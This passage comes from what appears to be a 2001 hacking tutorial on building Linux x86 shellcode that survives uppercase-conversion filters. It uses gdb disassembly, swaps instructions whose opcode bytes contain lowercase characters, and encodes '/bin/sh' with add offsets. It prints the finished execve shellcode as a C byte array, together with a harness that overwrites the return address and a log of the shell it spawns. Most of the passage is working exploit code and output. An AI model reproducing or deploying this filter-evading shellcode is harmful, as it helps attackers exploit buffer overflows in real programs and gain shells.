not `int' [r-dude@Netwerkdagen:~]$gdb shellcodeasm2 (gdb) disass main 0x804818c
: push %ebp 0x804818d
: mov %esp,%ebp 0x804818f
: jmp 0x80481b0
0x8048191
: pop %esi 0x8048192
: mov %esi,0x8(%esi) ... (gdb) x/3xbc main 0x8048191
: 94 '^' -119 '\211' 118 'v' (gdb) x/3xbc main 0x8048192
: -119 '\211' 118 'v' 8 '\b' Hm, ok, now, one clearly sees that there *is* a lowercase character in the "mov %esi,0x8(%esi)" opcode/operand. so now we'll have to find a way to do the same, but not create a lowercase char. one way to do this is : - move esi into eax - add 0x8 to eax - move eax back into esi So the asm code in total looks like this : jmp 0x38 popl %esi # chaning encoded /bin/sh into /bin/sh addb $0x30,0x1(%esi) addb $0x30,0x2(%esi) addb $0x30,0x3(%esi) addb $0x30,0x5(%esi) addb $0x30,0x6(%esi) # movl %esi,0x8(%esi) # # (gdb) disass main # Dump of assembler code for function main: # ... # 0x8048386
: mov %esi,0x8(%esi) # ... # End of assembler dump. # (gdb) x/3xbc main # 0x8048386
: -119 '\211' 118 'v' 8 '\b' # (gdb) # as one can see, this is a problem # changed code movl %esi,%eax addl $0x8,%eax movl %eax,0x8(%esi) # xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 call -0x3d .string \"\x2f\x32\x39\x3e\x2f\x43\x38\" Ok, you see the "addb $0x30,0xn(%esi)" opcode/operand, and I can hear you all wondering, "hm, couldn't i also use subb?", NO you can't (well not directly that is) because the subb opcode contain the n character, which is a character we do not need! Now all what is left to do for us is to put this into some c code, run it trough gdb and make some shellcode out of it. [r-dude@Netwerkdagen:~]$gcc -o asm -ggdb asm.c asm.c: In function `main': asm.c:3: warning: return type of `main' is not `int' [r-dude@Netwerkdagen:~]$gdb asm (gdb) disass main Dump of assembler code for function main: 0x8048380
: push %ebp 0x8048381
: mov %esp,%ebp 0x8048383
: jmp 0x80483bd
0x8048385
: pop %esi 0x8048386
: addb $0x30,0x1(%esi) 0x804838a
: addb $0x30,0x2(%esi) 0x804838e
: addb $0x30,0x3(%esi) 0x8048392
: addb $0x30,0x5(%esi) 0x8048396
: addb $0x30,0x6(%esi) 0x804839a
: mov %esi,%eax 0x804839c
: add $0x8,%eax 0x804839f
: mov %eax,0x8(%esi) 0x80483a2
: xor %eax,%eax 0x80483a4
: mov %al,0x7(%esi) 0x80483a7
: mov %eax,0xc(%esi) 0x80483aa
: mov $0xb,%al 0x80483ac
: mov %esi,%ebx 0x80483ae
: lea 0x8(%esi),%ecx 0x80483b1
: lea 0xc(%esi),%edx 0x80483b4
: int $0x80 0x80483b6
: xor %ebx,%ebx 0x80483b8
: mov %ebx,%eax 0x80483ba
: inc %eax 0x80483bb
: int $0x80 0x80483bd
: call 0x8048385
0x80483c2
: das 0x80483c3
: xchg %eax,%edx 0x80483c4
: lcall $0xc900,$0x98a32f9e 0x80483cb
: ret End of assembler dump. (gdb) x/70xb main 0x8048383
: 0xeb 0x38 0x5e 0x80 0x46 0x01 0x30 0x80 0x804838b
: 0x46 0x02 0x30 0x80 0x46 0x03 0x30 0x80 0x8048393
: 0x46 0x05 0x30 0x80 0x46 0x06 0x30 0x89 0x804839b
: 0xf0 0x83 0xc0 0x08 0x89 0x46 0x08 0x31 0x80483a3
: 0xc0 0x88 0x46 0x07 0x89 0x46 0x0c 0xb0 0x80483ab
: 0x0b 0x89 0xf3 0x8d 0x4e 0x08 0x8d 0x56 0x80483b3
: 0x0c 0xcd 0x80 0x31 0xdb 0x89 0xd8 0x40 0x80483bb
: 0xcd 0x80 0xe8 0xc3 0xff 0xff 0xff 0x2f 0x80483c3
: 0x32 0x39 0x3e 0x2f 0x43 0x38 That's it baby, as you can see, the *technique* behind this is fairly easy, isn't it ? +--< BOF: esctoupper.c >-------------------------------------------- char shellcode[] = "\xeb\x38\x5e\x80\x46\x01\x30\x80\x46\x02\x30\x80\x46\x03\x30\x80" "\x46\x05\x30\x80\x46\x06\x30\x89\xf0\x83\xc0\x08\x89\x46\x08\x31" "\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56" "\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xc3\xff\xff\xff\x2f" "\x32\x39\x3e\x2f\x43\x38"; void main() { int *ret; ret = (int *)&ret 2; (*ret) = (int)shellcode; } +--< BOF: esctoupper.c >-------------------------------------------- [r-dude@Netwerkdagen:~]$gcc -o esctoupper esctoupper.c [r-dude@Netwerkdagen:~]$./esctoupper [r-dude@Netwerkdagen][/home/r-dude]$ 0xff --] Credits ---------------- de fobic :) ---------------------------< Copyright (c) 2001 security.coders.be >--